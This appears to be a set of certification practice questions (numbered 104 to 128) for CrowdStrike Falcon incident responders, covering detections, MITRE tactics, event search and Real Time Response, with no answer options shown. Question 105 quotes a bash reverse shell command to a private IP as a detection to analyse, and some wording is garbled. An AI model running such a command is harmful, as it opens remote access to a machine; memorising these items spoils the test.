NEW QUESTION 104
A responder is analyzing a MITRE-related alert and sees the technique ‘Explore > Discovery > Cloud Service Dashboard’. Which of the following scenarios best describes the technical activity associated with this technique?

NEW QUESTION 105
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?

NEW QUESTION 106
When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?

NEW QUESTION 107
When navigating the main ‘Detections’ page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?

NEW QUESTION 108
While reviewing the high-level organizational structure of a complex detection in the Falcon console, a responder identifies several layers of activity. Which of the following is NOT officially recognized as an Objective Layer within the CrowdStrike detection hierarchy?

NEW QUESTION 109
An analyst notices a detection that has been automatically flagged with the ‘New Activity’ status. Which of the following statements best describes what this status indicates?

NEW QUESTION 110
Which tool or search type is recommended as the “best search” to use when performing the “Examine what’s normal for this system” step in an investigation?

NEW QUESTION 111
You notice that taskeng.exe is one of the processes involved in a detection. What activity should you investigate next?

NEW QUESTION 112
Which statement is TRUE regarding the “Bulk Domains” search?

NEW QUESTION 113
You have a folder with the path C:WindowsBadTools.
Using native Real Time Response (RTR) commands, what is the correct syntax to remove the folder and all of its contents?

NEW QUESTION 114
When viewing the summary list on the ‘Endpoint Detections’ page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?

NEW QUESTION 115
Refer to Image:

You are investigating a network connection in event search.
Which option next to the raw event data should you select to pivot to a graphical representation for all the processes related to the network connection event?

NEW QUESTION 116
During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?

NEW QUESTION 117
A responder needs to categorize an incident based on the high-level goals of the attacker. Which of the following lists correctly identifies the “Objectives” as they are natively defined and used within the Falcon platform?

NEW QUESTION 118
Responders use ‘IP Search’ to track connections to malicious infrastructure. Which of the following statements about the IP Search is FALSE?

NEW QUESTION 119
In the context of raw event searching, the term ‘ProcessRollup2’ refers to a value within which field?

NEW QUESTION 120
Refer to the image.

What does the arrowed line indicate?

NEW QUESTION 121
The MITRE-Based Falcon Detections Framework is a core component of the Falcon UI. What is the primary operational advantage provided by this framework to a Tier 1 responder?

NEW QUESTION 122
A responder needs to view a high-level overview of the environment’s security posture. Where can they find the ‘Activity Dashboard’?

NEW QUESTION 123
From the Detections page, how can you view ‘ in-progress ‘ detections assigned to Falcon Analyst Alex?

NEW QUESTION 124
What action is used when you want to save a prevention hash for later use?

NEW QUESTION 125
The Falcon console integrates heavily with the MITREATT AND CKframework to provide industry-standard context. Which of the following tactics displayed in the detection UI is a direct implementation of a MITREATT AND CKtactic?

NEW QUESTION 126
What are Event Actions?

NEW QUESTION 127
What information is contained within a Process Timeline?

NEW QUESTION 128
You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.
How should you run the script to avoid technical issues?